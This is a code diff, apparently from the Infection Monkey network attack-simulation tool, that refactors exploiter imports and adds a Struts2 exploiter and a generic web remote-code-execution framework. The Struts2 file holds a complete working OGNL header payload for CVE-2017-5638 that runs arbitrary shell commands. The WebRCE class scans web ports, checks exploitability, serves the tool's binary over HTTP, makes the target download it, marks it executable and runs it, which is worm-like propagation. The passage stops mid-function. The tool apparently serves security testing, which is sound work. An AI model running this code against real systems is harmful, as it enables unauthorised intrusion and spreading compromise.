from infection_monkey.exploit.tools import build_monkey_commandline
|
||||||
|
|
||||||
LOG = getLogger(__name__)
|
LOG = getLogger(__name__)
|
||||||
|
|
||||||
|
@ -23,8 +23,6 @@ class SmbExploiter(HostExploiter):
|
||||||
|
|
||||||
def __init__(self, host):
|
def __init__(self, host):
|
||||||
super(SmbExploiter, self).__init__(host)
|
super(SmbExploiter, self).__init__(host)
|
||||||
self._config = __import__('config').WormConfiguration
|
|
||||||
self._guid = __import__('config').GUID
|
|
||||||
|
|
||||||
def is_os_supported(self):
|
def is_os_supported(self):
|
||||||
if super(SmbExploiter, self).is_os_supported():
|
if super(SmbExploiter, self).is_os_supported():
|
|
@ -4,12 +4,12 @@ import time
|
||||||
import paramiko
|
import paramiko
|
||||||
import StringIO
|
import StringIO
|
||||||
|
|
||||||
import monkeyfs
|
import infection_monkey.monkeyfs as monkeyfs
|
||||||
from exploit import HostExploiter
|
from infection_monkey.exploit import HostExploiter
|
||||||
from exploit.tools import get_target_monkey, get_monkey_depth
|
from infection_monkey.exploit.tools import get_target_monkey, get_monkey_depth
|
||||||
from model import MONKEY_ARG
|
from infection_monkey.model import MONKEY_ARG
|
||||||
from network.tools import check_tcp_port
|
from infection_monkey.network.tools import check_tcp_port
|
||||||
from tools import build_monkey_commandline
|
from infection_monkey.exploit.tools import build_monkey_commandline
|
||||||
|
|
||||||
__author__ = 'hoffer'
|
__author__ = 'hoffer'
|
||||||
|
|
||||||
|
@ -23,7 +23,6 @@ class SSHExploiter(HostExploiter):
|
||||||
|
|
||||||
def __init__(self, host):
|
def __init__(self, host):
|
||||||
super(SSHExploiter, self).__init__(host)
|
super(SSHExploiter, self).__init__(host)
|
||||||
self._config = __import__('config').WormConfiguration
|
|
||||||
self._update_timestamp = 0
|
self._update_timestamp = 0
|
||||||
self.skip_exist = self._config.skip_exploit_if_file_exist
|
self.skip_exist = self._config.skip_exploit_if_file_exist
|
||||||
|
|
|
@ -0,0 +1,94 @@
|
||||||
|
"""
|
||||||
|
Implementation is based on Struts2 jakarta multiparser RCE exploit ( CVE-2017-5638 )
|
||||||
|
code used is from https://www.exploit-db.com/exploits/41570/
|
||||||
|
Vulnerable struts2 versions <=2.3.31 and <=2.5.10
|
||||||
|
"""
|
||||||
|
import urllib2
|
||||||
|
import httplib
|
||||||
|
import unicodedata
|
||||||
|
import re
|
||||||
|
|
||||||
|
import logging
|
||||||
|
from infection_monkey.exploit.web_rce import WebRCE
|
||||||
|
|
||||||
|
__author__ = "VakarisZ"
|
||||||
|
|
||||||
|
LOG = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
DOWNLOAD_TIMEOUT = 300
|
||||||
|
|
||||||
|
|
||||||
|
class Struts2Exploiter(WebRCE):
|
||||||
|
_TARGET_OS_TYPE = ['linux', 'windows']
|
||||||
|
|
||||||
|
def __init__(self, host):
|
||||||
|
super(Struts2Exploiter, self).__init__(host, None)
|
||||||
|
|
||||||
|
def get_exploit_config(self):
|
||||||
|
exploit_config = super(Struts2Exploiter, self).get_exploit_config()
|
||||||
|
exploit_config['dropper'] = True
|
||||||
|
return exploit_config
|
||||||
|
|
||||||
|
def build_potential_urls(self, ports, extensions=None):
|
||||||
|
"""
|
||||||
|
We need to override this method to get redirected url's
|
||||||
|
:param ports: Array of ports. One port is described as size 2 array: [port.no(int), isHTTPS?(bool)]
|
||||||
|
Eg. ports: [[80, False], [443, True]]
|
||||||
|
:param extensions: What subdirectories to scan. www.domain.com[/extension]
|
||||||
|
:return: Array of url's to try and attack
|
||||||
|
"""
|
||||||
|
url_list = super(Struts2Exploiter, self).build_potential_urls(ports)
|
||||||
|
url_list = [self.get_redirected(url) for url in url_list]
|
||||||
|
return url_list
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def get_redirected(url):
|
||||||
|
# Returns false if url is not right
|
||||||
|
headers = {'User-Agent': 'Mozilla/5.0'}
|
||||||
|
request = urllib2.Request(url, headers=headers)
|
||||||
|
try:
|
||||||
|
return urllib2.urlopen(request).geturl()
|
||||||
|
except urllib2.URLError:
|
||||||
|
LOG.error("Can't reach struts2 server")
|
||||||
|
return False
|
||||||
|
|
||||||
|
def exploit(self, url, cmd):
|
||||||
|
"""
|
||||||
|
:param url: Full url to send request to
|
||||||
|
:param cmd: Code to try and execute on host
|
||||||
|
:return: response
|
||||||
|
"""
|
||||||
|
cmd = re.sub(r"\\", r"\\\\", cmd)
|
||||||
|
cmd = re.sub(r"'", r"\\'", cmd)
|
||||||
|
payload = "%%{(#_='multipart/form-data')." \
|
||||||
|
"(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." \
|
||||||
|
"(#_memberAccess?" \
|
||||||
|
"(#_memberAccess=#dm):" \
|
||||||
|
"((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." \
|
||||||
|
"(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." \
|
||||||
|
"(#ognlUtil.getExcludedPackageNames().clear())." \
|
||||||
|
"(#ognlUtil.getExcludedClasses().clear())." \
|
||||||
|
"(#context.setMemberAccess(#dm))))." \
|
||||||
|
"(#cmd='%s')." \
|
||||||
|
"(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))." \
|
||||||
|
"(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." \
|
||||||
|
"(#p=new java.lang.ProcessBuilder(#cmds))." \
|
||||||
|
"(#p.redirectErrorStream(true)).(#process=#p.start())." \
|
||||||
|
"(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." \
|
||||||
|
"(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." \
|
||||||
|
"(#ros.flush())}" % cmd
|
||||||
|
# Turns payload ascii just for consistency
|
||||||
|
if isinstance(payload, unicode):
|
||||||
|
payload = unicodedata.normalize('NFKD', payload).encode('ascii', 'ignore')
|
||||||
|
headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload}
|
||||||
|
try:
|
||||||
|
request = urllib2.Request(url, headers=headers)
|
||||||
|
# Timeout added or else we would wait for all monkeys' output
|
||||||
|
page = urllib2.urlopen(request).read()
|
||||||
|
except AttributeError:
|
||||||
|
# If url does not exist
|
||||||
|
return False
|
||||||
|
except httplib.IncompleteRead as e:
|
||||||
|
page = e.partial
|
||||||
|
|
||||||
|
return page
|
|
@ -17,11 +17,13 @@ from impacket.dcerpc.v5.dtypes import NULL
|
||||||
from impacket.smb3structs import SMB2_DIALECT_002, SMB2_DIALECT_21
|
from impacket.smb3structs import SMB2_DIALECT_002, SMB2_DIALECT_21
|
||||||
from impacket.smbconnection import SMBConnection, SMB_DIALECT
|
from impacket.smbconnection import SMBConnection, SMB_DIALECT
|
||||||
|
|
||||||
import monkeyfs
|
import infection_monkey.config
|
||||||
from network import local_ips
|
import infection_monkey.monkeyfs as monkeyfs
|
||||||
from network.firewall import app as firewall
|
from infection_monkey.network import local_ips
|
||||||
from network.info import get_free_tcp_port, get_routes
|
from infection_monkey.network.firewall import app as firewall
|
||||||
from transport import HTTPServer
|
from infection_monkey.network.info import get_free_tcp_port, get_routes
|
||||||
|
from infection_monkey.transport import HTTPServer, LockedHTTPServer
|
||||||
|
from threading import Lock
|
||||||
|
|
||||||
|
|
||||||
class DceRpcException(Exception):
|
class DceRpcException(Exception):
|
||||||
|
@ -173,8 +175,7 @@ class SmbTools(object):
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def copy_file(host, src_path, dst_path, username, password, lm_hash='', ntlm_hash='', timeout=60):
|
def copy_file(host, src_path, dst_path, username, password, lm_hash='', ntlm_hash='', timeout=60):
|
||||||
assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path,)
|
assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path,)
|
||||||
|
config = infection_monkey.config.WormConfiguration
|
||||||
config = __import__('config').WormConfiguration
|
|
||||||
src_file_size = monkeyfs.getsize(src_path)
|
src_file_size = monkeyfs.getsize(src_path)
|
||||||
|
|
||||||
smb, dialect = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout)
|
smb, dialect = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout)
|
||||||
|
@ -386,6 +387,34 @@ class HTTPTools(object):
|
||||||
|
|
||||||
return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd
|
return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def create_locked_transfer(host, src_path, local_ip=None, local_port=None):
|
||||||
|
"""
|
||||||
|
Create http server for file transfer with a lock
|
||||||
|
:param host: Variable with target's information
|
||||||
|
:param src_path: Monkey's path on current system
|
||||||
|
:param local_ip: IP where to host server
|
||||||
|
:param local_port: Port at which to host monkey's download
|
||||||
|
:return: Server address in http://%s:%s/%s format and LockedHTTPServer handler
|
||||||
|
"""
|
||||||
|
# To avoid race conditions we pass a locked lock to http servers thread
|
||||||
|
lock = Lock()
|
||||||
|
lock.acquire()
|
||||||
|
if not local_port:
|
||||||
|
local_port = get_free_tcp_port()
|
||||||
|
|
||||||
|
if not local_ip:
|
||||||
|
local_ip = get_interface_to_target(host.ip_addr)
|
||||||
|
|
||||||
|
if not firewall.listen_allowed():
|
||||||
|
LOG.error("Firewall is not allowed to listen for incomming ports. Aborting")
|
||||||
|
return None, None
|
||||||
|
|
||||||
|
httpd = LockedHTTPServer(local_ip, local_port, src_path, lock)
|
||||||
|
httpd.start()
|
||||||
|
lock.acquire()
|
||||||
|
return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd
|
||||||
|
|
||||||
|
|
||||||
def get_interface_to_target(dst):
|
def get_interface_to_target(dst):
|
||||||
if sys.platform == "win32":
|
if sys.platform == "win32":
|
||||||
|
@ -416,7 +445,7 @@ def get_interface_to_target(dst):
|
||||||
|
|
||||||
|
|
||||||
def get_target_monkey(host):
|
def get_target_monkey(host):
|
||||||
from control import ControlClient
|
from infection_monkey.control import ControlClient
|
||||||
import platform
|
import platform
|
||||||
import sys
|
import sys
|
||||||
|
|
||||||
|
@ -442,7 +471,7 @@ def get_target_monkey(host):
|
||||||
|
|
||||||
|
|
||||||
def get_target_monkey_by_os(is_windows, is_32bit):
|
def get_target_monkey_by_os(is_windows, is_32bit):
|
||||||
from control import ControlClient
|
from infection_monkey.control import ControlClient
|
||||||
return ControlClient.download_monkey_exe_by_os(is_windows, is_32bit)
|
return ControlClient.download_monkey_exe_by_os(is_windows, is_32bit)
|
||||||
|
|
||||||
|
|
||||||
|
@ -466,18 +495,38 @@ def build_monkey_commandline_explicitly(parent=None, tunnel=None, server=None, d
|
||||||
|
|
||||||
|
|
||||||
def build_monkey_commandline(target_host, depth, location=None):
|
def build_monkey_commandline(target_host, depth, location=None):
|
||||||
from config import GUID
|
from infection_monkey.config import GUID
|
||||||
return build_monkey_commandline_explicitly(
|
return build_monkey_commandline_explicitly(
|
||||||
GUID, target_host.default_tunnel, target_host.default_server, depth, location)
|
GUID, target_host.default_tunnel, target_host.default_server, depth, location)
|
||||||
|
|
||||||
|
|
||||||
def get_binaries_dir_path():
|
|
||||||
if getattr(sys, 'frozen', False):
|
|
||||||
return sys._MEIPASS
|
|
||||||
else:
|
|
||||||
return os.path.dirname(os.path.abspath(__file__))
|
|
||||||
|
|
||||||
|
|
||||||
def get_monkey_depth():
|
def get_monkey_depth():
|
||||||
from config import WormConfiguration
|
from infection_monkey.config import WormConfiguration
|
||||||
return WormConfiguration.depth
|
return WormConfiguration.depth
|
||||||
|
|
||||||
|
|
||||||
|
def get_monkey_dest_path(url_to_monkey):
|
||||||
|
"""
|
||||||
|
Gets destination path from monkey's source url.
|
||||||
|
:param url_to_monkey: Hosted monkey's url. egz : http://localserver:9999/monkey/windows-32.exe
|
||||||
|
:return: Corresponding monkey path from configuration
|
||||||
|
"""
|
||||||
|
from infection_monkey.config import WormConfiguration
|
||||||
|
if not url_to_monkey or ('linux' not in url_to_monkey and 'windows' not in url_to_monkey):
|
||||||
|
LOG.error("Can't get destination path because source path %s is invalid.", url_to_monkey)
|
||||||
|
return False
|
||||||
|
try:
|
||||||
|
if 'linux' in url_to_monkey:
|
||||||
|
return WormConfiguration.dropper_target_path_linux
|
||||||
|
elif 'windows-32' in url_to_monkey:
|
||||||
|
return WormConfiguration.dropper_target_path_win_32
|
||||||
|
elif 'windows-64' in url_to_monkey:
|
||||||
|
return WormConfiguration.dropper_target_path_win_64
|
||||||
|
else:
|
||||||
|
LOG.error("Could not figure out what type of monkey server was trying to upload, "
|
||||||
|
"thus destination path can not be chosen.")
|
||||||
|
return False
|
||||||
|
except AttributeError:
|
||||||
|
LOG.error("Seems like monkey's source configuration property names changed. "
|
||||||
|
"Can not get destination path to upload monkey")
|
||||||
|
return False
|
|
@ -0,0 +1,478 @@
|
||||||
|
import logging
|
||||||
|
import re
|
||||||
|
from posixpath import join
|
||||||
|
from abc import abstractmethod
|
||||||
|
|
||||||
|
from infection_monkey.exploit import HostExploiter
|
||||||
|
from infection_monkey.model import *
|
||||||
|
from infection_monkey.exploit.tools import get_target_monkey, get_monkey_depth, build_monkey_commandline, HTTPTools
|
||||||
|
from infection_monkey.network.tools import check_tcp_port, tcp_port_to_service
|
||||||
|
|
||||||
|
__author__ = 'VakarisZ'
|
||||||
|
|
||||||
|
LOG = logging.getLogger(__name__)
|
||||||
|
# Command used to check if monkeys already exists
|
||||||
|
LOOK_FOR_FILE = "ls %s"
|
||||||
|
POWERSHELL_NOT_FOUND = "owershell is not recognized"
|
||||||
|
# Constants used to refer to windows architectures( used in host.os['machine'])
|
||||||
|
WIN_ARCH_32 = "32"
|
||||||
|
WIN_ARCH_64 = "64"
|
||||||
|
|
||||||
|
|
||||||
|
class WebRCE(HostExploiter):
|
||||||
|
|
||||||
|
def __init__(self, host, monkey_target_paths=None):
|
||||||
|
"""
|
||||||
|
:param host: Host that we'll attack
|
||||||
|
:param monkey_target_paths: Where to upload the monkey at the target host system.
|
||||||
|
Dict in format {'linux': '/tmp/monkey.sh', 'win32': './monkey32.exe', 'win64':... }
|
||||||
|
"""
|
||||||
|
super(WebRCE, self).__init__(host)
|
||||||
|
if monkey_target_paths:
|
||||||
|
self.monkey_target_paths = monkey_target_paths
|
||||||
|
else:
|
||||||
|
self.monkey_target_paths = {'linux': self._config.dropper_target_path_linux,
|
||||||
|
'win32': self._config.dropper_target_path_win_32,
|
||||||
|
'win64': self._config.dropper_target_path_win_64}
|
||||||
|
self.HTTP = [str(port) for port in self._config.HTTP_PORTS]
|
||||||
|
self.skip_exist = self._config.skip_exploit_if_file_exist
|
||||||
|
self.vulnerable_urls = []
|
||||||
|
|
||||||
|
def get_exploit_config(self):
|
||||||
|
"""
|
||||||
|
Method that creates a dictionary of configuration values for exploit
|
||||||
|
:return: configuration dict
|
||||||
|
"""
|
||||||
|
exploit_config = dict()
|
||||||
|
|
||||||
|
# dropper: If true monkey will use dropper parameter that will detach monkey's process and try to copy
|
||||||
|
# it's file to the default destination path.
|
||||||
|
exploit_config['dropper'] = False
|
||||||
|
|
||||||
|
# upload_commands: Unformatted dict with one or two commands {'linux': WGET_HTTP_UPLOAD,'windows': WIN_CMD}
|
||||||
|
# Command must have "monkey_path" and "http_path" format parameters. If None defaults will be used.
|
||||||
|
exploit_config['upload_commands'] = None
|
||||||
|
|
||||||
|
# url_extensions: What subdirectories to scan (www.domain.com[/extension]). Eg. ["home", "index.php"]
|
||||||
|
exploit_config['url_extensions'] = None
|
||||||
|
|
||||||
|
# stop_checking_urls: If true it will stop checking vulnerable urls once one was found vulnerable.
|
||||||
|
exploit_config['stop_checking_urls'] = False
|
||||||
|
|
||||||
|
# blind_exploit: If true we won't check if file exist and won't try to get the architecture of target.
|
||||||
|
exploit_config['blind_exploit'] = False
|
||||||
|
|
||||||
|
return exploit_config
|
||||||
|
|
||||||
|
def exploit_host(self):
|
||||||
|
"""
|
||||||
|
Method that contains default exploitation workflow
|
||||||
|
:return: True if exploited, False otherwise
|
||||||
|
"""
|
||||||
|
# We get exploit configuration
|
||||||
|
exploit_config = self.get_exploit_config()
|
||||||
|
# Get open ports
|
||||||
|
ports = self.get_ports_w(self.HTTP, ["http"])
|
||||||
|
if not ports:
|
||||||
|
return False
|
||||||
|
# Get urls to try to exploit
|
||||||
|
urls = self.build_potential_urls(ports, exploit_config['url_extensions'])
|
||||||
|
self.add_vulnerable_urls(urls, exploit_config['stop_checking_urls'])
|
||||||
|
|
||||||
|
if not self.vulnerable_urls:
|
||||||
|
return False
|
||||||
|
|
||||||
|
# Skip if monkey already exists and this option is given
|
||||||
|
if not exploit_config['blind_exploit'] and self.skip_exist and self.check_remote_files(self.vulnerable_urls[0]):
|
||||||
|
LOG.info("Host %s was already infected under the current configuration, done" % self.host)
|
||||||
|
return True
|
||||||
|
|
||||||
|
# Check for targets architecture (if it's 32 or 64 bit)
|
||||||
|
if not exploit_config['blind_exploit'] and not self.set_host_arch(self.vulnerable_urls[0]):
|
||||||
|
return False
|
||||||
|
|
||||||
|
# Upload the right monkey to target
|
||||||
|
data = self.upload_monkey(self.vulnerable_urls[0], exploit_config['upload_commands'])
|
||||||
|
|
||||||
|
if data is False:
|
||||||
|
return False
|
||||||
|
|
||||||
|
# Change permissions to transform monkey into executable file
|
||||||
|
if self.change_permissions(self.vulnerable_urls[0], data['path']) is False:
|
||||||
|
return False
|
||||||
|
|
||||||
|
# Execute remote monkey
|
||||||
|
if self.execute_remote_monkey(self.vulnerable_urls[0], data['path'], exploit_config['dropper']) is False:
|
||||||
|
return False
|
||||||
|
|
||||||
|
return True
|
||||||
|
|
||||||
|
@abstractmethod
|
||||||
|
def exploit(self, url, command):
|
||||||
|
"""
|
||||||
|
A reference to a method which implements web exploit logic.
|
||||||
|
:param url: Url to send malicious packet to. Format: [http/https]://ip:port/extension.
|
||||||
|
:param command: Command which will be executed on remote host
|
||||||
|
:return: RCE's output/True if successful or False if failed
|
||||||
|
"""
|
||||||
|
raise NotImplementedError()
|
||||||
|
|
||||||
|
def get_open_service_ports(self, port_list, names):
|
||||||
|
"""
|
||||||
|
:param port_list: Potential ports to exploit. For example _config.HTTP_PORTS
|
||||||
|
:param names: [] of service names. Example: ["http"]
|
||||||
|
:return: Returns all open ports from port list that are of service names
|
||||||
|
"""
|
||||||
|
candidate_services = {}
|
||||||
|
candidate_services.update({
|
||||||
|
service: self.host.services[service] for service in self.host.services if
|
||||||
|
(self.host.services[service] and self.host.services[service]['name'] in names)
|
||||||
|
})
|
||||||
|
|
||||||
|
valid_ports = [(port, candidate_services['tcp-' + str(port)]['data'][1]) for port in port_list if
|
||||||
|
tcp_port_to_service(port) in candidate_services]
|
||||||
|
|
||||||
|
return valid_ports
|
||||||
|
|
||||||
|
def check_if_port_open(self, port):
|
||||||
|
is_open, _ = check_tcp_port(self.host.ip_addr, port)
|
||||||
|
if not is_open:
|
||||||
|
LOG.info("Port %d is closed on %r, skipping", port, self.host)
|
||||||
|
return False
|
||||||
|
return True
|
||||||
|
|
||||||
|
def get_command(self, path, http_path, commands):
|
||||||
|
try:
|
||||||
|
if 'linux' in self.host.os['type']:
|
||||||
|
command = commands['linux']
|
||||||
|
else:
|
||||||
|
command = commands['windows']
|
||||||
|
# Format command
|
||||||
|
command = command % {'monkey_path': path, 'http_path': http_path}
|
||||||
|
except KeyError:
|
||||||
|
LOG.error("Provided command is missing/bad for this type of host! "
|
||||||
|
"Check upload_monkey function docs before using custom monkey's upload commands.")
|
||||||
|
return False
|
||||||
|
return command
|
||||||
|
|
||||||
|
def check_if_exploitable(self, url):
|
||||||
|
"""
|
||||||
|
Checks if target is exploitable by interacting with url
|
||||||
|
:param url: Url to exploit
|
||||||
|
:return: True if exploitable and false if not
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
resp = self.exploit(url, CHECK_COMMAND)
|
||||||
|
if resp is True:
|
||||||
|
return True
|
||||||
|
elif resp is not False and ID_STRING in resp:
|
||||||
|
return True
|
||||||
|
else:
|
||||||
|
return False
|
||||||
|
except Exception as e:
|
||||||
|
LOG.error("Host's exploitability check failed due to: %s" % e)
|
||||||
|
return False
|
||||||
|
|
||||||
|
def build_potential_urls(self, ports, extensions=None):
|
||||||
|
"""
|
||||||
|
:param ports: Array of ports. One port is described as size 2 array: [port.no(int), isHTTPS?(bool)]
|
||||||
|
Eg. ports: [[80, False], [443, True]]
|
||||||
|
:param extensions: What subdirectories to scan. www.domain.com[/extension]
|
||||||
|
:return: Array of url's to try and attack
|
||||||
|
"""
|
||||||
|
url_list = []
|
||||||
|
if extensions:
|
||||||
|
extensions = [(e[1:] if '/' == e[0] else e) for e in extensions]
|
||||||
|
else:
|
||||||
|
extensions = [""]
|
||||||
|
for port in ports:
|
||||||
|
for extension in extensions:
|
||||||
|
if port[1]:
|
||||||
|
protocol = "https"
|
||||||
|
else:
|
||||||
|
protocol = "http"
|
||||||
|
url_list.append(join(("%s://%s:%s" % (protocol, self.host.ip_addr, port[0])), extension))
|
||||||
|
if not url_list:
|
||||||
|
LOG.info("No attack url's were built")
|
||||||
|
return url_list
|
||||||
|
|
||||||
|
def add_vulnerable_urls(self, urls, stop_checking=False):
|
||||||
|
"""
|
||||||
|
Gets vulnerable url(s) from url list
|
||||||
|
:param urls: Potentially vulnerable urls
|
||||||
|
:param stop_checking: If we want to continue checking for vulnerable url even though one is found (bool)
|
||||||
|
:return: None (we append to class variable vulnerable_urls)
|
||||||
|
"""
|
||||||
|
for url in urls:
|
||||||
|
if self.check_if_exploitable(url):
|
||||||
|
self.vulnerable_urls.append(url)
|
||||||
|
if stop_checking:
|
||||||
|
break
|
||||||
|
if not self.vulnerable_urls:
|
||||||
|
LOG.info("No vulnerable urls found, skipping.")
|
||||||
|
# We add urls to param used in reporting
|
||||||
|
self._exploit_info['vulnerable_urls'] = self.vulnerable_urls
|
||||||
|
|
||||||
|
def get_host_arch(self, url):
|
||||||
|
"""
|
||||||
|
:param url: Url for exploiter to use
|
||||||
|
:return: Machine architecture string or false. Eg. 'i686', '64', 'x86_64', ...
|
||||||
|
"""
|
||||||
|
if 'linux' in self.host.os['type']:
|
||||||
|
resp = self.exploit(url, GET_ARCH_LINUX)
|
||||||
|
if resp:
|
||||||
|
# Pulls architecture string
|
||||||
|
arch = re.search('(?<=Architecture:)\s+(\w+)', resp)
|
||||||
|
try:
|
||||||
|
arch = arch.group(1)
|
||||||
|
except AttributeError:
|
||||||
|
LOG.error("Looked for linux architecture but could not find it")
|
||||||
|
return False
|
||||||
|
if arch:
|
||||||
|
return arch
|
||||||
|
else:
|
||||||
|
LOG.info("Could not pull machine architecture string from command's output")
|
||||||
|
return False
|
||||||
|
else:
|
||||||
|
return False
|
||||||
|
else:
|
||||||
|
resp = self.exploit(url, GET_ARCH_WINDOWS)
|
||||||
|
if resp:
|
||||||
|
if "64-bit" in resp:
|
||||||
|
return WIN_ARCH_64
|
||||||
|
else:
|
||||||
|
return WIN_ARCH_32
|
||||||
|
else:
|
||||||
|
return False
|
||||||
|
|
||||||
|
def check_remote_monkey_file(self, url, path):
|
||||||
|
command = LOOK_FOR_FILE % path
|
||||||
|
resp = self.exploit(url, command)
|
||||||
|
if 'No such file' in resp:
|
||||||
|
return False
|
||||||
|
else:
|
||||||
|
LOG.info("Host %s was already infected under the current configuration, done" % host)
|
||||||
|
return True
|
||||||
|
|
||||||
|
def check_remote_files(self, url):
|
||||||
|
"""
|
||||||
|
:param url: Url for exploiter to use
|
||||||
|
:return: True if at least one file is found, False otherwise
|
||||||
|
"""
|
||||||
|
paths = []
|
||||||
|
if 'linux' in self.host.os['type']:
|
||||||
|
paths.append(self.monkey_target_paths['linux'])
|
||||||
|
else:
|
||||||
|
paths.extend([self.monkey_target_paths['win32'], self.monkey_target_paths['win64']])
|
||||||
|
for path in paths:
|
||||||
|
if self.check_remote_monkey_file(url, path):
|
||||||
|
return True
|
||||||
|
return False
|
||||||
|
|
||||||
|
# Wrapped functions:
|
||||||
|
def get_ports_w(self, ports, names):
|
||||||
|
"""
|
||||||
|
Get ports wrapped with log
|
||||||
|
:param ports: Potential ports to exploit. For example WormConfiguration.HTTP_PORTS
|
||||||
|
:param names: [] of service names. Example: ["http"]
|
||||||
|
:return: Array of ports: [[80, False], [443, True]] or False. Port always consists of [ port.nr, IsHTTPS?]
|
||||||
|
"""
|
||||||
|
ports = self.get_open_service_ports(ports, names)
|
||||||
|
if not ports:
|
||||||
|
LOG.info("All default web ports are closed on %r, skipping", host)
|
||||||
|
return False
|
||||||
|
else:
|
||||||
|
return ports
|
||||||
|
|
||||||
|
def set_host_arch(self, url):
|
||||||
|
arch = self.get_host_arch(url)
|
||||||
|
if not arch:
|
||||||
|
LOG.error("Couldn't get host machine's architecture")
|
||||||
|
return False
|
||||||
|
else:
|
||||||
|
self.host.os['machine'] = arch
|
||||||
|
return True
|
||||||
|
|
||||||
|
def run_backup_commands(self, resp, url, dest_path, http_path):
|
||||||
|
"""
|
||||||
|
If you need multiple commands for the same os you can override this method to add backup commands
|
||||||
|
:param resp: Response from base command
|
||||||
|
:param url: Vulnerable url
|
||||||
|
:param dest_path: Where to upload monkey
|
||||||
|
:param http_path: Where to download monkey from
|
||||||
|
:return: Command's response (same response if backup command is not needed)
|
||||||
|
"""
|
||||||
|
if not isinstance(resp, bool) and POWERSHELL_NOT_FOUND in resp:
|
||||||
|
LOG.info("Powershell not found in host. Using bitsadmin to download.")
|
||||||
|
backup_command = RDP_CMDLINE_HTTP % {'monkey_path': dest_path, 'http_path': http_path}
|
||||||
|
resp = self.exploit(url, backup_command)
|
||||||
|
return resp
|
||||||
|
|
||||||
|
def upload_monkey(self, url, commands=None):
|
||||||
|
"""
|
||||||
|
:param url: Where exploiter should send it's request
|
||||||
|
:param commands: Unformatted dict with one or two commands {'linux': LIN_CMD, 'windows': WIN_CMD}
|
||||||
|
Command must have "monkey_path" and "http_path" format parameters.
|
||||||
|
:return: {'response': response/False, 'path': monkeys_path_in_host}
|
||||||
|
"""
|
||||||
|
LOG.info("Trying to upload monkey to the host.")
|
||||||
|
if not self.host.os['type']:
|
||||||
|
LOG.error("Unknown target's os type. Skipping.")
|
||||||
|
return False
|
||||||
|
paths = self.get_monkey_paths()
|
||||||
|
if not paths:
|
||||||
|
return False
|
||||||
|
# Create server for http download and wait for it's startup.
|
||||||
|
http_path, http_thread = HTTPTools.create_locked_transfer(self.host, paths['src_path'])
|
||||||
|
if not http_path:
|
||||||
|
LOG.debug("Exploiter failed, http transfer creation failed.")
|
||||||
|
return False
|
||||||
|
LOG.info("Started http server on %s", http_path)
|
||||||
|
# Choose command:
|
||||||
|
if not commands:
|
||||||
|
commands = {'windows': POWERSHELL_HTTP_UPLOAD, 'linux': WGET_HTTP_UPLOAD}
|
||||||
|
command = self.get_command(paths['dest_path'], http_path, commands)
|
||||||
|
|
||||||
|
resp = self.exploit(url, command)
|
||||||
|
|
||||||
|
resp = self.run_backup_commands(resp, url, paths['dest_path'], http_path)
|
||||||
|
|
||||||
|
http_thread.join(DOWNLOAD_TIMEOUT)
|
||||||
|
http_thread.stop()
|
||||||
|
LOG.info("Uploading process finished")
|
||||||
|
# If response is false exploiter failed
|
||||||
|
if resp is False:
|
||||||
|
return resp
|
||||||
|
else:
|
||||||
|
return {'response': resp, 'path': paths['dest_path']}
|
||||||
|
|
||||||
|
def change_permissions(self, url, path, command=None):
|
||||||
|
"""
|
||||||
|
Method for linux hosts. Makes monkey executable
|
||||||
|
:param url: Where to send malicious packets
|
||||||
|
:param path: Path to monkey on remote host
|
||||||
|
:param command: Formatted command for permission change or None
|
||||||
|
:return: response, False if failed and True if permission change is not needed
|
||||||
|
"""
|
||||||
|
LOG.info("Changing monkey's permissions")
|
||||||
|
if 'windows' in self.host.os['type']:
|
||||||
|
LOG.info("Permission change not required for windows")
|
||||||
|
return True
|
||||||
|
if not command:
|
||||||
|
command = CHMOD_MONKEY % {'monkey_path': path}
|
||||||
|
try:
|
||||||
|
resp = self.exploit(url, command)
|
||||||
|
except Exception as e:
|
||||||
|
LOG.error("Something went wrong while trying to change permission: %s" % e)
|
||||||
|
return False
|
||||||
|
# If exploiter returns True / False
|
||||||
|
if type(resp) is bool:
|
||||||
|
LOG.info("Permission change finished")
|
||||||
|
return resp
|
||||||
|
# If exploiter returns command output, we can check for execution errors
|
||||||
|
if 'Operation not permitted' in resp:
|
||||||
|
LOG.error("Missing permissions to make monkey executable")
|
||||||
|
return False
|
||||||
|
elif 'No such file or directory' in resp:
|
||||||
|
LOG.error("Could not change permission because monkey was not found. Check path parameter.")
|
||||||
|
return False
|
||||||
|
LOG.info("Permission change finished")
|
||||||
|
return resp
|
||||||
|
|
||||||
|
def execute_remote_monkey(self, url, path, dropper=False):
|
||||||
|
"""
|
||||||
|
This method executes remote monkey
|
||||||
|
:param url: Where to send malicious packets
|
||||||
|
:param path: Path to monkey on remote host
|
||||||
|
:param dropper: Should remote monkey be executed with dropper or with monkey arg?
|
||||||
|
:return: Response or False if failed
|
||||||
|
"""
|
||||||
|
LOG.info("Trying to execute remote monkey")
|
||||||
|
# Get monkey command line
|
||||||
|
if dropper and path:
|
||||||
|
# If dropper is chosen we try to move monkey to default location
|
||||||
|
default_path = self.get_default_dropper_path()
|
||||||
|
if default_path is False:
|
||||||
|
return False
|
||||||
|
monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1, default_path)
|
||||||
|
command = RUN_MONKEY % {'monkey_path': path, 'monkey_type': DROPPER_ARG, 'parameters': monkey_cmd}
|
||||||
|
else:
|
||||||
|
